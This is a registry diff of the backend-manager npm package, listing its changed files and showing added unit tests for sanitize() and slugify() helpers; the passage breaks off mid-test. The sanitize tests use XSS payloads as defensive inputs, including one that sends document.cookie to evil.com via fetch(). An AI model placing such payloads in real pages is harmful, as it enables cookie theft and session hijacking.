backend-manager 5.9.7 → 5.9.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (216) hide show
  1. package/package.json +5 -3
  2. package/src/cli/commands/setup-tests/bem-config.js +3 -2
  3. package/src/cli/commands/setup-tests/helpers.js +5 -0
  4. package/src/cli/commands/setup-tests/project-id-consistency.js +2 -1
  5. package/src/test/fixtures/firebase-project/.temp/test-mode.json +1 -1
  6. package/src/test/fixtures/firebase-project/database-debug.log +8 -8
  7. package/src/test/fixtures/firebase-project/firestore-debug.log +57 -55
  8. package/src/test/fixtures/firebase-project/pubsub-debug.log +3 -3
  9. package/templates/_.env +42 -0
  10. package/templates/_.gitignore +60 -0
  11. package/templates/backend-manager-config.json +249 -0
  12. package/templates/database.rules.json +83 -0
  13. package/templates/firebase.json +66 -0
  14. package/templates/firestore.indexes.json +4 -0
  15. package/templates/firestore.rules +112 -0
  16. package/templates/public/404.html +26 -0
  17. package/templates/public/index.html +24 -0
  18. package/templates/remoteconfig.template.json +1 -0
  19. package/templates/storage-lifecycle-config-1-day.json +9 -0
  20. package/templates/storage-lifecycle-config-30-days.json +9 -0
  21. package/templates/storage.rules +8 -0
  22. package/test/_init/accounts-validation.js +58 -0
  23. package/test/_legacy/ai/index.js +231 -0
  24. package/test/_legacy/ai/test.jpg +0 -0
  25. package/test/_legacy/ai/test.pdf +0 -0
  26. package/test/_legacy/index.js +31 -0
  27. package/test/_legacy/payment-resolver/chargebee/orders/refunded.json +0 -0
  28. package/test/_legacy/payment-resolver/chargebee/orders/unpaid.json +98 -0
  29. package/test/_legacy/payment-resolver/chargebee/subscriptions/active.json +578 -0
  30. package/test/_legacy/payment-resolver/chargebee/subscriptions/trial-in-trial.json +38 -0
  31. package/test/_legacy/payment-resolver/chargebee/subscriptions/trial-skipped-to-active.json +135 -0
  32. package/test/_legacy/payment-resolver/chargebee/subscriptions/trial-to-active-to-cancelled.json +42 -0
  33. package/test/_legacy/payment-resolver/chargebee/subscriptions/trial-to-active.json +44 -0
  34. package/test/_legacy/payment-resolver/chargebee/subscriptions/trial-to-cancelled.json +39 -0
  35. package/test/_legacy/payment-resolver/chargebee/subscriptions/trial-to-refund.json +143 -0
  36. package/test/_legacy/payment-resolver/chargebee/subscriptions/trial-to-suspended.json +48 -0
  37. package/test/_legacy/payment-resolver/coinbase/orders/regular.json +204 -0
  38. package/test/_legacy/payment-resolver/coinbase/subscriptions/cancelled.json +204 -0
  39. package/test/_legacy/payment-resolver/coinbase/subscriptions/paid-2.json +125 -0
  40. package/test/_legacy/payment-resolver/index.js +1558 -0
  41. package/test/_legacy/payment-resolver/paypal/orders/refunded.json +0 -0
  42. package/test/_legacy/payment-resolver/paypal/orders/regular.json +120 -0
  43. package/test/_legacy/payment-resolver/paypal/subscriptions/active-refund-previous-stmnt.json +323 -0
  44. package/test/_legacy/payment-resolver/paypal/subscriptions/active.json +192 -0
  45. package/test/_legacy/payment-resolver/paypal/subscriptions/trial-in-trial.json +125 -0
  46. package/test/_legacy/payment-resolver/paypal/subscriptions/trial-payment-not-complete.json +76 -0
  47. package/test/_legacy/payment-resolver/paypal/subscriptions/trial-payment-overdue-2.json +114 -0
  48. package/test/_legacy/payment-resolver/paypal/subscriptions/trial-payment-overdue.json +114 -0
  49. package/test/_legacy/payment-resolver/paypal/subscriptions/trial-to-active-to-cancelled.json +111 -0
  50. package/test/_legacy/payment-resolver/paypal/subscriptions/trial-to-active.json +132 -0
  51. package/test/_legacy/payment-resolver/paypal/subscriptions/trial-to-cancelled.json +107 -0
  52. package/test/_legacy/payment-resolver/paypal/subscriptions/trial-to-expired.json +91 -0
  53. package/test/_legacy/payment-resolver/paypal/subscriptions/trial-to-refund.json +147 -0
  54. package/test/_legacy/payment-resolver/paypal/subscriptions/trial-to-suspended.json +120 -0
  55. package/test/_legacy/payment-resolver/stripe/orders/refunded.json +0 -0
  56. package/test/_legacy/payment-resolver/stripe/orders/regular.json +91 -0
  57. package/test/_legacy/payment-resolver/stripe/subscriptions/active.json +421 -0
  58. package/test/_legacy/payment-resolver/stripe/subscriptions/trial-in-trial.json +349 -0
  59. package/test/_legacy/payment-resolver/stripe/subscriptions/trial-to-active-failed-authorization.json +430 -0
  60. package/test/_legacy/payment-resolver/stripe/subscriptions/trial-to-active.json +319 -0
  61. package/test/_legacy/payment-resolver/stripe/subscriptions/trial-to-cancelled.json +319 -0
  62. package/test/_legacy/payment-resolver/stripe/subscriptions/trial-to-refund.json +414 -0
  63. package/test/_legacy/payment-resolver/stripe/subscriptions/trial-to-suspended.json +319 -0
  64. package/test/_legacy/payment-resolver/stripe/subscriptions/unsure.json +339 -0
  65. package/test/_legacy/test-new +1178 -0
  66. package/test/_legacy/test.md +89 -0
  67. package/test/_legacy/usage.js +175 -0
  68. package/test/_legacy/user.js +31 -0
  69. package/test/ai/tools-live.js +170 -0
  70. package/test/boot/emulator-boots.js +37 -0
  71. package/test/content/blog-generate.js +160 -0
  72. package/test/email/campaign-send.js +45 -0
  73. package/test/email/consent-lifecycle.js +257 -0
  74. package/test/email/feedback-and-plain-send.js +52 -0
  75. package/test/email/fixtures/clean.json +30 -0
  76. package/test/email/fixtures/editorial.json +30 -0
  77. package/test/email/fixtures/field-report.json +53 -0
  78. package/test/email/marketing-lifecycle.js +132 -0
  79. package/test/email/newsletter-generate.js +819 -0
  80. package/test/email/newsletter-templates.js +491 -0
  81. package/test/email/templates.js +207 -0
  82. package/test/email/transactional-send.js +34 -0
  83. package/test/email/transactional.js +560 -0
  84. package/test/email/validation.js +710 -0
  85. package/test/events/auth-delete-race.js +201 -0
  86. package/test/events/payments/journey-payments-cancel-endpoint.js +100 -0
  87. package/test/events/payments/journey-payments-cancel.js +182 -0
  88. package/test/events/payments/journey-payments-discount.js +89 -0
  89. package/test/events/payments/journey-payments-failure.js +146 -0
  90. package/test/events/payments/journey-payments-legacy-product.js +149 -0
  91. package/test/events/payments/journey-payments-one-time-failure.js +111 -0
  92. package/test/events/payments/journey-payments-one-time.js +136 -0
  93. package/test/events/payments/journey-payments-plan-change.js +144 -0
  94. package/test/events/payments/journey-payments-refund-webhook.js +180 -0
  95. package/test/events/payments/journey-payments-suspend.js +181 -0
  96. package/test/events/payments/journey-payments-trial-cancel.js +130 -0
  97. package/test/events/payments/journey-payments-trial.js +171 -0
  98. package/test/events/payments/journey-payments-uid-resolution.js +132 -0
  99. package/test/events/payments/journey-payments-upgrade.js +135 -0
  100. package/test/fixtures/chargebee/invoice-one-time.json +27 -0
  101. package/test/fixtures/chargebee/subscription-active.json +44 -0
  102. package/test/fixtures/chargebee/subscription-cancelled.json +42 -0
  103. package/test/fixtures/chargebee/subscription-in-trial.json +41 -0
  104. package/test/fixtures/chargebee/subscription-legacy-plan.json +41 -0
  105. package/test/fixtures/chargebee/subscription-non-renewing.json +41 -0
  106. package/test/fixtures/chargebee/subscription-paused.json +42 -0
  107. package/test/fixtures/chargebee/webhook-payment-failed.json +51 -0
  108. package/test/fixtures/chargebee/webhook-subscription-created.json +47 -0
  109. package/test/fixtures/paypal/order-approved.json +62 -0
  110. package/test/fixtures/paypal/order-completed.json +110 -0
  111. package/test/fixtures/paypal/subscription-active.json +76 -0
  112. package/test/fixtures/paypal/subscription-cancelled.json +50 -0
  113. package/test/fixtures/paypal/subscription-suspended.json +65 -0
  114. package/test/fixtures/stripe/checkout-session-completed.json +130 -0
  115. package/test/fixtures/stripe/invoice-payment-failed.json +148 -0
  116. package/test/fixtures/stripe/invoice-subscription-payment-failed.json +28 -0
  117. package/test/fixtures/stripe/subscription-active.json +161 -0
  118. package/test/fixtures/stripe/subscription-canceled.json +161 -0
  119. package/test/fixtures/stripe/subscription-trialing.json +161 -0
  120. package/test/functions/admin/database-read.js +134 -0
  121. package/test/functions/admin/database-write.js +159 -0
  122. package/test/functions/admin/edit-post.js +366 -0
  123. package/test/functions/admin/firestore-query.js +207 -0
  124. package/test/functions/admin/firestore-read.js +129 -0
  125. package/test/functions/admin/firestore-write.js +105 -0
  126. package/test/functions/admin/get-stats.js +115 -0
  127. package/test/functions/admin/send-email.js +119 -0
  128. package/test/functions/admin/send-notification.js +208 -0
  129. package/test/functions/admin/write-repo-content.js +223 -0
  130. package/test/functions/general/add-marketing-contact.js +335 -0
  131. package/test/functions/general/fetch-post.js +54 -0
  132. package/test/functions/general/generate-uuid.js +114 -0
  133. package/test/functions/test/authenticate.js +64 -0
  134. package/test/functions/user/create-custom-token.js +73 -0
  135. package/test/functions/user/delete.js +135 -0
  136. package/test/functions/user/get-active-sessions.js +111 -0
  137. package/test/functions/user/get-subscription-info.js +99 -0
  138. package/test/functions/user/regenerate-api-keys.js +156 -0
  139. package/test/functions/user/resolve.js +52 -0
  140. package/test/functions/user/sign-out-all-sessions.js +94 -0
  141. package/test/functions/user/sign-up.js +252 -0
  142. package/test/functions/user/submit-feedback.js +104 -0
  143. package/test/functions/user/validate-settings.js +82 -0
  144. package/test/helpers/ai-request-payload.js +300 -0
  145. package/test/helpers/ai-test-provider.js +202 -0
  146. package/test/helpers/ai-tools-format.js +383 -0
  147. package/test/helpers/content/blog-auto-publisher.js +484 -0
  148. package/test/helpers/content/feed-parser.js +528 -0
  149. package/test/helpers/content/ghostii-blocks.js +134 -0
  150. package/test/helpers/content/ghostii-feed-integration.js +404 -0
  151. package/test/helpers/content/ghostii-write-article.js +243 -0
  152. package/test/helpers/environment.js +230 -0
  153. package/test/helpers/infer-contact.js +113 -0
  154. package/test/helpers/merge-line-files.js +271 -0
  155. package/test/helpers/payment/chargebee/parse-webhook.js +413 -0
  156. package/test/helpers/payment/chargebee/to-unified-one-time.js +147 -0
  157. package/test/helpers/payment/chargebee/to-unified-subscription.js +648 -0
  158. package/test/helpers/payment/paypal/parse-webhook.js +539 -0
  159. package/test/helpers/payment/paypal/to-unified-one-time.js +382 -0
  160. package/test/helpers/payment/paypal/to-unified-subscription.js +820 -0
  161. package/test/helpers/payment/stripe/parse-webhook.js +447 -0
  162. package/test/helpers/payment/stripe/to-unified-one-time.js +306 -0
  163. package/test/helpers/payment/stripe/to-unified-subscription.js +708 -0
  164. package/test/helpers/sanitize.js +222 -0
  165. package/test/helpers/slugify.js +394 -0
  166. package/test/helpers/storage.js +194 -0
  167. package/test/helpers/user.js +755 -0
  168. package/test/helpers/webhook-forward.js +418 -0
  169. package/test/mcp/discovery.js +53 -0
  170. package/test/mcp/oauth.js +161 -0
  171. package/test/mcp/protocol.js +268 -0
  172. package/test/mcp/roles.js +188 -0
  173. package/test/mcp/utils.js +245 -0
  174. package/test/routes/admin/create-post.js +364 -0
  175. package/test/routes/admin/database.js +131 -0
  176. package/test/routes/admin/deduplicate-image-alts.js +190 -0
  177. package/test/routes/admin/email.js +114 -0
  178. package/test/routes/admin/firestore-query.js +204 -0
  179. package/test/routes/admin/firestore.js +127 -0
  180. package/test/routes/admin/infer-contact.js +218 -0
  181. package/test/routes/admin/notification.js +198 -0
  182. package/test/routes/admin/post-resize-image.js +184 -0
  183. package/test/routes/admin/post.js +368 -0
  184. package/test/routes/admin/repo-content.js +223 -0
  185. package/test/routes/admin/stats.js +112 -0
  186. package/test/routes/content/post.js +54 -0
  187. package/test/routes/general/uuid.js +115 -0
  188. package/test/routes/marketing/campaign.js +125 -0
  189. package/test/routes/marketing/contact.js +370 -0
  190. package/test/routes/marketing/email-preferences.js +292 -0
  191. package/test/routes/marketing/push-send.js +32 -0
  192. package/test/routes/marketing/webhook-forward.js +61 -0
  193. package/test/routes/marketing/webhook.js +639 -0
  194. package/test/routes/payments/cancel.js +163 -0
  195. package/test/routes/payments/discount.js +80 -0
  196. package/test/routes/payments/dispute-alert.js +320 -0
  197. package/test/routes/payments/intent.js +336 -0
  198. package/test/routes/payments/portal.js +92 -0
  199. package/test/routes/payments/refund.js +179 -0
  200. package/test/routes/payments/trial-eligibility.js +71 -0
  201. package/test/routes/payments/webhook.js +107 -0
  202. package/test/routes/test/authenticate.js +59 -0
  203. package/test/routes/test/schema.js +554 -0
  204. package/test/routes/test/usage.js +342 -0
  205. package/test/routes/user/api-keys.js +156 -0
  206. package/test/routes/user/delete.js +136 -0
  207. package/test/routes/user/feedback.js +104 -0
  208. package/test/routes/user/sessions.js +199 -0
  209. package/test/routes/user/settings-validate.js +82 -0
  210. package/test/routes/user/signup.js +542 -0
  211. package/test/routes/user/subscription.js +99 -0
  212. package/test/routes/user/token.js +73 -0
  213. package/test/routes/user/user.js +157 -0
  214. package/test/rules/notifications.js +410 -0
  215. package/test/rules/payments-carts.js +371 -0
  216. package/test/rules/user.js +396 -0
@@ -0,0 +1,222 @@
1
+ /**
2
+ * Test: helpers/utilities.sanitize()
3
+ * Unit tests for HTML sanitization and trimming across all data types
4
+ *
5
+ * Run: npx mgr test helpers/sanitize
6
+ *
7
+ * Covers:
8
+ * - Pure schema fields (sanitized by default, opt-out with sanitize: false)
9
+ * - All non-schema fields (no schema, sanitize everything)
10
+ * - Combo: schema + non-schema fields together
11
+ */
12
+ const Utilities = require('../../src/manager/helpers/utilities.js');
13
+
14
+ // Mock Manager
15
+ const Manager = { libraries: {} };
16
+ const utilities = new Utilities(Manager);
17
+
18
+ module.exports = {
19
+ description: 'Utilities.sanitize()',
20
+ type: 'group',
21
+
22
+ tests: [
23
+ // ─── Strings ───
24
+
25
+ {
26
+ name: 'strips-script-tags',
27
+ async run({ assert }) {
28
+ const result = utilities.sanitize('<script>alert("xss")</script>hello');
29
+ assert.equal(result, 'hello', 'Should strip script tags');
30
+ },
31
+ },
32
+
33
+ {
34
+ name: 'strips-img-onerror',
35
+ async run({ assert }) {
36
+ const result = utilities.sanitize('<img src=x onerror="alert(1)">text');
37
+ assert.equal(result, 'text', 'Should strip img with onerror');
38
+ },
39
+ },
40
+
41
+ {
42
+ name: 'strips-nested-html-keeps-text',
43
+ async run({ assert }) {
44
+ const result = utilities.sanitize('<div><b>bold</b> and <i>italic</i></div>');
45
+ assert.equal(result, 'bold and italic', 'Should strip all tags but keep text');
46
+ },
47
+ },
48
+
49
+ {
50
+ name: 'trims-whitespace',
51
+ async run({ assert }) {
52
+ const result = utilities.sanitize(' hello world ');
53
+ assert.equal(result, 'hello world', 'Should trim');
54
+ },
55
+ },
56
+
57
+ {
58
+ name: 'strips-and-trims-together',
59
+ async run({ assert }) {
60
+ const result = utilities.sanitize(' <b>hello</b> ');
61
+ assert.equal(result, 'hello', 'Should strip tags and trim');
62
+ },
63
+ },
64
+
65
+ {
66
+ name: 'clean-string-unchanged',
67
+ async run({ assert }) {
68
+ const result = utilities.sanitize('just plain text');
69
+ assert.equal(result, 'just plain text', 'Clean string should pass through');
70
+ },
71
+ },
72
+
73
+ {
74
+ name: 'empty-string-unchanged',
75
+ async run({ assert }) {
76
+ const result = utilities.sanitize('');
77
+ assert.equal(result, '', 'Empty string should remain empty');
78
+ },
79
+ },
80
+
81
+ // ─── Primitives ───
82
+
83
+ {
84
+ name: 'null-returns-null',
85
+ async run({ assert }) {
86
+ assert.equal(utilities.sanitize(null), null, 'null should pass through');
87
+ },
88
+ },
89
+
90
+ {
91
+ name: 'undefined-returns-undefined',
92
+ async run({ assert }) {
93
+ assert.equal(utilities.sanitize(undefined), undefined, 'undefined should pass through');
94
+ },
95
+ },
96
+
97
+ {
98
+ name: 'number-passes-through',
99
+ async run({ assert }) {
100
+ assert.equal(utilities.sanitize(42), 42, 'Numbers should pass through');
101
+ },
102
+ },
103
+
104
+ {
105
+ name: 'boolean-passes-through',
106
+ async run({ assert }) {
107
+ assert.equal(utilities.sanitize(true), true, 'Booleans should pass through');
108
+ },
109
+ },
110
+
111
+ // ─── Non-schema objects (sanitize everything) ───
112
+
113
+ {
114
+ name: 'flat-object-sanitizes-all-strings',
115
+ async run({ assert }) {
116
+ const result = utilities.sanitize({
117
+ name: '<b>Evil Corp</b>',
118
+ count: 5,
119
+ active: true,
120
+ });
121
+ assert.equal(result.name, 'Evil Corp', 'Should strip HTML from name');
122
+ assert.equal(result.count, 5, 'Number should pass through');
123
+ assert.equal(result.active, true, 'Boolean should pass through');
124
+ },
125
+ },
126
+
127
+ {
128
+ name: 'deeply-nested-object-sanitizes',
129
+ async run({ assert }) {
130
+ const result = utilities.sanitize({
131
+ settings: {
132
+ brand: {
133
+ name: '<script>xss</script>Acme',
134
+ about: '<img src=x onerror=alert(1)>We sell stuff',
135
+ },
136
+ enabled: true,
137
+ },
138
+ });
139
+ assert.equal(result.settings.brand.name, 'Acme', 'Should strip deep nested script');
140
+ assert.equal(result.settings.brand.about, 'We sell stuff', 'Should strip deep nested img');
141
+ assert.equal(result.settings.enabled, true, 'Deep boolean should pass through');
142
+ },
143
+ },
144
+
145
+ // ─── Arrays ───
146
+
147
+ {
148
+ name: 'array-sanitizes-each-string',
149
+ async run({ assert }) {
150
+ const result = utilities.sanitize(['<b>one</b>', 'two', '<script>x</script>three']);
151
+ assert.equal(result[0], 'one', 'First element stripped');
152
+ assert.equal(result[1], 'two', 'Clean element unchanged');
153
+ assert.equal(result[2], 'three', 'Third element stripped');
154
+ },
155
+ },
156
+
157
+ {
158
+ name: 'array-of-objects',
159
+ async run({ assert }) {
160
+ const result = utilities.sanitize([
161
+ { name: '<b>Alice</b>' },
162
+ { name: '<i>Bob</i>' },
163
+ ]);
164
+ assert.equal(result[0].name, 'Alice', 'First object name stripped');
165
+ assert.equal(result[1].name, 'Bob', 'Second object name stripped');
166
+ },
167
+ },
168
+
169
+ {
170
+ name: 'mixed-array-types',
171
+ async run({ assert }) {
172
+ const result = utilities.sanitize(['<b>text</b>', 42, null, true]);
173
+ assert.equal(result[0], 'text', 'String stripped');
174
+ assert.equal(result[1], 42, 'Number passed through');
175
+ assert.equal(result[2], null, 'null passed through');
176
+ assert.equal(result[3], true, 'Boolean passed through');
177
+ },
178
+ },
179
+
180
+ // ─── XSS attack vectors ───
181
+
182
+ {
183
+ name: 'xss-event-handler',
184
+ async run({ assert }) {
185
+ assert.equal(utilities.sanitize('<div onmouseover="alert(1)">hover me</div>'), 'hover me');
186
+ },
187
+ },
188
+
189
+ {
190
+ name: 'xss-iframe',
191
+ async run({ assert }) {
192
+ assert.equal(utilities.sanitize('<iframe src="evil.com"></iframe>safe'), 'safe');
193
+ },
194
+ },
195
+
196
+ {
197
+ name: 'xss-svg-onload',
198
+ async run({ assert }) {
199
+ const result = utilities.sanitize('<svg onload="alert(1)">test</svg>');
200
+ assert.equal(result.includes('onload'), false, 'Should not contain onload');
201
+ },
202
+ },
203
+
204
+ {
205
+ name: 'xss-full-agent-creation-payload',
206
+ async run({ assert }) {
207
+ const result = utilities.sanitize({
208
+ name: '<img src=x onerror="fetch(\'https://evil.com?c=\'+document.cookie)">Agent',
209
+ welcomeMessage: 'Hello <script>document.location="https://evil.com"</script>',
210
+ brand: {
211
+ name: '"><script>alert("xss")</script>',
212
+ about: '<iframe src="https://evil.com"></iframe>About us',
213
+ },
214
+ });
215
+ assert.equal(result.name, 'Agent', 'name should be clean');
216
+ assert.equal(result.welcomeMessage.includes('<script>'), false, 'welcomeMessage should not have script');
217
+ assert.equal(result.brand.name.includes('<script>'), false, 'brand.name should not have script');
218
+ assert.equal(result.brand.about, 'About us', 'brand.about should be clean');
219
+ },
220
+ },
221
+ ],
222
+ };
@@ -0,0 +1,394 @@
1
+ /**
2
+ * Test: helpers/utilities.slugify()
3
+ * Unit tests for the canonical URL slug builder.
4
+ *
5
+ * Run: npx mgr test helpers/slugify
6
+ *
7
+ * slugify is the SSOT used by:
8
+ * - BEM admin/post (legacy + modern) for URL + image filenames
9
+ * - Sponsorship platform validator.buildFormatted()
10
+ *
11
+ * Contract:
12
+ * - Strip all non-alphanumeric characters → replace with `-`
13
+ * - Collapse runs of `-` into a single `-`
14
+ * - Trim leading/trailing `-`
15
+ * - Lowercase the result
16
+ * - Non-string input → empty string
17
+ */
18
+ const Utilities = require('../../src/manager/helpers/utilities.js');
19
+
20
+ const Manager = { libraries: {} };
21
+ const utilities = new Utilities(Manager);
22
+
23
+ module.exports = {
24
+ description: 'Utilities.slugify()',
25
+ type: 'group',
26
+
27
+ tests: [
28
+ // ─── Basic happy path ───
29
+
30
+ {
31
+ name: 'lowercases-simple-string',
32
+ async run({ assert }) {
33
+ assert.equal(utilities.slugify('Hello World'), 'hello-world');
34
+ },
35
+ },
36
+
37
+ {
38
+ name: 'preserves-numbers',
39
+ async run({ assert }) {
40
+ assert.equal(utilities.slugify('Top 10 Products 2025'), 'top-10-products-2025');
41
+ },
42
+ },
43
+
44
+ {
45
+ name: 'already-a-slug-passes-through',
46
+ async run({ assert }) {
47
+ assert.equal(utilities.slugify('already-a-slug'), 'already-a-slug');
48
+ },
49
+ },
50
+
51
+ {
52
+ name: 'single-word-unchanged',
53
+ async run({ assert }) {
54
+ assert.equal(utilities.slugify('hello'), 'hello');
55
+ },
56
+ },
57
+
58
+ // ─── The bug that drove this: collapse runs of `-` ───
59
+
60
+ {
61
+ name: 'collapses-double-dashes-from-literal-hyphen-space',
62
+ async run({ assert }) {
63
+ // The real-world example: "Copy- Paste" produced "copy--paste" before the fix
64
+ assert.equal(
65
+ utilities.slugify('AI Study Prompts That Work: Copy- Paste Questions for Every Subject'),
66
+ 'ai-study-prompts-that-work-copy-paste-questions-for-every-subject',
67
+ );
68
+ },
69
+ },
70
+
71
+ {
72
+ name: 'collapses-many-consecutive-dashes',
73
+ async run({ assert }) {
74
+ assert.equal(utilities.slugify('foo---bar'), 'foo-bar');
75
+ assert.equal(utilities.slugify('foo-----bar'), 'foo-bar');
76
+ },
77
+ },
78
+
79
+ {
80
+ name: 'collapses-mixed-runs-of-special-chars',
81
+ async run({ assert }) {
82
+ // " / - / " → multiple non-alphanum → all become one `-`
83
+ assert.equal(utilities.slugify('foo / - / bar'), 'foo-bar');
84
+ },
85
+ },
86
+
87
+ // ─── Leading/trailing trim ───
88
+
89
+ {
90
+ name: 'strips-leading-and-trailing-spaces',
91
+ async run({ assert }) {
92
+ assert.equal(utilities.slugify(' hello world '), 'hello-world');
93
+ },
94
+ },
95
+
96
+ {
97
+ name: 'strips-leading-and-trailing-dashes',
98
+ async run({ assert }) {
99
+ assert.equal(utilities.slugify('---hello---'), 'hello');
100
+ },
101
+ },
102
+
103
+ {
104
+ name: 'strips-leading-slash',
105
+ async run({ assert }) {
106
+ assert.equal(utilities.slugify('/foo/bar'), 'foo-bar');
107
+ },
108
+ },
109
+
110
+ {
111
+ name: 'strips-trailing-slash',
112
+ async run({ assert }) {
113
+ assert.equal(utilities.slugify('foo/bar/'), 'foo-bar');
114
+ },
115
+ },
116
+
117
+ {
118
+ name: 'strips-both-slashes',
119
+ async run({ assert }) {
120
+ assert.equal(utilities.slugify('/foo/bar/'), 'foo-bar');
121
+ },
122
+ },
123
+
124
+ // ─── Punctuation ───
125
+
126
+ {
127
+ name: 'colon-becomes-dash',
128
+ async run({ assert }) {
129
+ assert.equal(utilities.slugify('Title: Subtitle'), 'title-subtitle');
130
+ },
131
+ },
132
+
133
+ {
134
+ name: 'comma-becomes-dash',
135
+ async run({ assert }) {
136
+ assert.equal(utilities.slugify('one, two, three'), 'one-two-three');
137
+ },
138
+ },
139
+
140
+ {
141
+ name: 'question-mark-becomes-dash',
142
+ async run({ assert }) {
143
+ assert.equal(utilities.slugify('What is AI?'), 'what-is-ai');
144
+ },
145
+ },
146
+
147
+ {
148
+ name: 'exclamation-becomes-dash',
149
+ async run({ assert }) {
150
+ assert.equal(utilities.slugify('Hello World!'), 'hello-world');
151
+ },
152
+ },
153
+
154
+ {
155
+ name: 'period-becomes-dash',
156
+ async run({ assert }) {
157
+ assert.equal(utilities.slugify('v1.2.3'), 'v1-2-3');
158
+ },
159
+ },
160
+
161
+ {
162
+ name: 'apostrophe-becomes-dash',
163
+ async run({ assert }) {
164
+ assert.equal(utilities.slugify("don't stop"), 'don-t-stop');
165
+ },
166
+ },
167
+
168
+ {
169
+ name: 'quotes-become-dashes',
170
+ async run({ assert }) {
171
+ assert.equal(utilities.slugify('"Hello" said the dog'), 'hello-said-the-dog');
172
+ },
173
+ },
174
+
175
+ {
176
+ name: 'parens-become-dashes',
177
+ async run({ assert }) {
178
+ assert.equal(utilities.slugify('Function (advanced)'), 'function-advanced');
179
+ },
180
+ },
181
+
182
+ {
183
+ name: 'brackets-become-dashes',
184
+ async run({ assert }) {
185
+ assert.equal(utilities.slugify('Array[0] access'), 'array-0-access');
186
+ },
187
+ },
188
+
189
+ {
190
+ name: 'ampersand-becomes-dash',
191
+ async run({ assert }) {
192
+ assert.equal(utilities.slugify('Salt & Pepper'), 'salt-pepper');
193
+ },
194
+ },
195
+
196
+ {
197
+ name: 'hash-becomes-dash',
198
+ async run({ assert }) {
199
+ assert.equal(utilities.slugify('issue #42'), 'issue-42');
200
+ },
201
+ },
202
+
203
+ {
204
+ name: 'at-sign-becomes-dash',
205
+ async run({ assert }) {
206
+ assert.equal(utilities.slugify('user@example.com'), 'user-example-com');
207
+ },
208
+ },
209
+
210
+ // ─── Unicode / non-ASCII ───
211
+
212
+ {
213
+ name: 'em-dash-becomes-dash',
214
+ async run({ assert }) {
215
+ assert.equal(utilities.slugify('Title — Subtitle'), 'title-subtitle');
216
+ },
217
+ },
218
+
219
+ {
220
+ name: 'curly-quotes-become-dashes',
221
+ async run({ assert }) {
222
+ assert.equal(utilities.slugify('“Hello”'), 'hello');
223
+ },
224
+ },
225
+
226
+ {
227
+ name: 'emoji-becomes-dash',
228
+ async run({ assert }) {
229
+ assert.equal(utilities.slugify('Rocket 🚀 launch'), 'rocket-launch');
230
+ },
231
+ },
232
+
233
+ {
234
+ name: 'accented-chars-become-dashes',
235
+ async run({ assert }) {
236
+ // Slugify is ASCII-only by design — accents get stripped to dashes
237
+ // (Future improvement could be to transliterate, but current behavior is documented here)
238
+ assert.equal(utilities.slugify('café'), 'caf');
239
+ },
240
+ },
241
+
242
+ // ─── Whitespace variants ───
243
+
244
+ {
245
+ name: 'tab-becomes-dash',
246
+ async run({ assert }) {
247
+ assert.equal(utilities.slugify('foo\tbar'), 'foo-bar');
248
+ },
249
+ },
250
+
251
+ {
252
+ name: 'newline-becomes-dash',
253
+ async run({ assert }) {
254
+ assert.equal(utilities.slugify('foo\nbar'), 'foo-bar');
255
+ },
256
+ },
257
+
258
+ {
259
+ name: 'multiple-spaces-collapse',
260
+ async run({ assert }) {
261
+ assert.equal(utilities.slugify('foo bar'), 'foo-bar');
262
+ },
263
+ },
264
+
265
+ {
266
+ name: 'mixed-whitespace-collapses',
267
+ async run({ assert }) {
268
+ assert.equal(utilities.slugify('foo \t \n bar'), 'foo-bar');
269
+ },
270
+ },
271
+
272
+ // ─── Edge cases / non-string input ───
273
+
274
+ {
275
+ name: 'empty-string-returns-empty',
276
+ async run({ assert }) {
277
+ assert.equal(utilities.slugify(''), '');
278
+ },
279
+ },
280
+
281
+ {
282
+ name: 'all-punctuation-returns-empty',
283
+ async run({ assert }) {
284
+ assert.equal(utilities.slugify('!@#$%^&*()'), '');
285
+ },
286
+ },
287
+
288
+ {
289
+ name: 'only-dashes-returns-empty',
290
+ async run({ assert }) {
291
+ assert.equal(utilities.slugify('-----'), '');
292
+ },
293
+ },
294
+
295
+ {
296
+ name: 'only-whitespace-returns-empty',
297
+ async run({ assert }) {
298
+ assert.equal(utilities.slugify(' '), '');
299
+ },
300
+ },
301
+
302
+ {
303
+ name: 'null-returns-empty-string',
304
+ async run({ assert }) {
305
+ assert.equal(utilities.slugify(null), '');
306
+ },
307
+ },
308
+
309
+ {
310
+ name: 'undefined-returns-empty-string',
311
+ async run({ assert }) {
312
+ assert.equal(utilities.slugify(undefined), '');
313
+ },
314
+ },
315
+
316
+ {
317
+ name: 'number-returns-empty-string',
318
+ async run({ assert }) {
319
+ // Non-string input → empty string (caller is responsible for stringifying)
320
+ assert.equal(utilities.slugify(42), '');
321
+ },
322
+ },
323
+
324
+ {
325
+ name: 'object-returns-empty-string',
326
+ async run({ assert }) {
327
+ assert.equal(utilities.slugify({ foo: 'bar' }), '');
328
+ },
329
+ },
330
+
331
+ {
332
+ name: 'array-returns-empty-string',
333
+ async run({ assert }) {
334
+ assert.equal(utilities.slugify(['hello']), '');
335
+ },
336
+ },
337
+
338
+ // ─── Real-world examples ───
339
+
340
+ {
341
+ name: 'real-blog-post-title',
342
+ async run({ assert }) {
343
+ assert.equal(
344
+ utilities.slugify('10 Best Productivity Apps for Students in 2025'),
345
+ '10-best-productivity-apps-for-students-in-2025',
346
+ );
347
+ },
348
+ },
349
+
350
+ {
351
+ name: 'real-blog-post-with-colon-and-slash',
352
+ async run({ assert }) {
353
+ assert.equal(
354
+ utilities.slugify('Beginner\'s Guide: Python vs JavaScript'),
355
+ 'beginner-s-guide-python-vs-javascript',
356
+ );
357
+ },
358
+ },
359
+
360
+ {
361
+ name: 'real-image-alt-text',
362
+ async run({ assert }) {
363
+ // The downloadImage() caller uses slugify(alt) to build a tmp filename
364
+ assert.equal(
365
+ utilities.slugify('Diagram showing the user flow (v2)'),
366
+ 'diagram-showing-the-user-flow-v2',
367
+ );
368
+ },
369
+ },
370
+
371
+ {
372
+ name: 'real-url-with-blog-prefix-removed-first',
373
+ async run({ assert }) {
374
+ // Mimics how callers strip "blog/" before slugifying
375
+ const url = 'blog/some-existing-post';
376
+ assert.equal(
377
+ utilities.slugify(url.replace(/blog\//ig, '')),
378
+ 'some-existing-post',
379
+ );
380
+ },
381
+ },
382
+
383
+ // ─── Idempotency ───
384
+
385
+ {
386
+ name: 'idempotent-double-slugify',
387
+ async run({ assert }) {
388
+ const once = utilities.slugify('Hello World: Foo & Bar!');
389
+ const twice = utilities.slugify(once);
390
